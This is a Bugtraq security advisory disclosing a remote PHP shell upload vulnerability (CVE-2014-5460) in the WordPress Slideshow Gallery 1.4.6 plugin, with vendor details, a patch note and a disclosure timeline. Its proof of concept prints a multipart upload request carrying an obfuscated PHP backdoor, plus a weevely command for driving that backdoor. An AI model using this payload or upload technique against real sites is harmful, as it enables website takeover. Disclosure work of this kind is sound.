WordPress Slideshow Gallery 1.4.6 Shell Upload Vulnerability- (CVE-2014-5460)

From: jesus.ramirez.pichardo@gmail.com
To: bugtraq@securityfocus.com
Subject: WordPress Slideshow Gallery 1.4.6 Shell Upload Vulnerability- (CVE-2014-5460)

WordPress Slideshow Gallery plugin version 1.4.6 suffers from a remote shell upload vulnerability.

Vendor Homepage: http://tribulant.com/
Software: Slideshow Gallery
Version: 1.4.6
Software Link: http://downloads.wordpress.org/plugin/slideshow-gallery.1.4.6.zip
Tested on: Windows 7 OS, Wordpress 3.9.2 and Chrome Browser.


I found a serious security vulnerability in the Slideshow Gallery plugin. This bug allows an attacker to upload any php file remotely to the vulnerable website (administrator by default).

I have tested and verified that having the current version of the plugin installed in a WordPress installation will allow any registered user (Administrator, Editor, Author, Contributor and Subscriber), to upload a PHP shell to exploit the host system. 

Backdoor location: http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php

Today (2014-08-29), I did the notification to vendor and they gave me feedback about the vulnerability by email. The vendor has released a patch a few hours ago. (SlideShow Gallery version 1.4.7 at https://wordpress.org/plugins/slideshow-gallery/changelog).

Slideshow Gallery 1.4.7
FIX: Possible shell exploit by uploading PHP file as slide

Proof of Concept (PoC):

1.An attacker uploads a PHP shell file (i.e. backdoor.php):

Content-Type: multipart/form-data
Content-Disposition: form-data; name="image_file"; filename="backdoor.php"
Content-Type: application/octet-stream
$kvgk = str_replace("y","","ysytyry_yreypylyayce");
$uuod = $kvgk("j", "", "bjase6j4j_jdjejcjojde");
$qcon = $kvgk("av","","avcraveaavteav_avfavuavnavcavtiavoavn");
$rpgy = $qcon('', $uuod($kvgk("zh", "", $fdcd.$dawj.$gxfr.$asrp))); $rpgy();

2.The backdoor is located at http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php
3.The attacker uses a security tool (i.e. weevely) in order to communicate with the backdoor.

#weevely http://VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor.php whitexploit

4.Now the attacker has a \u201ctelnet-like console\u201d. Finally, the attacker has the remote control of the vulnerable website.

Vulnerability Disclosure Timeline:

2014-08-28: Discovered vulnerability
2014-08-29: Vendor Notification (support@tribulant.com)
2014-08-29: Vendor Response/Feedback
2014-08-29: Vendor Fix/Patch
2014-08-30: Public Disclosure

Found by: Jess Ramrez Pichardo

Date: 2014-08-28

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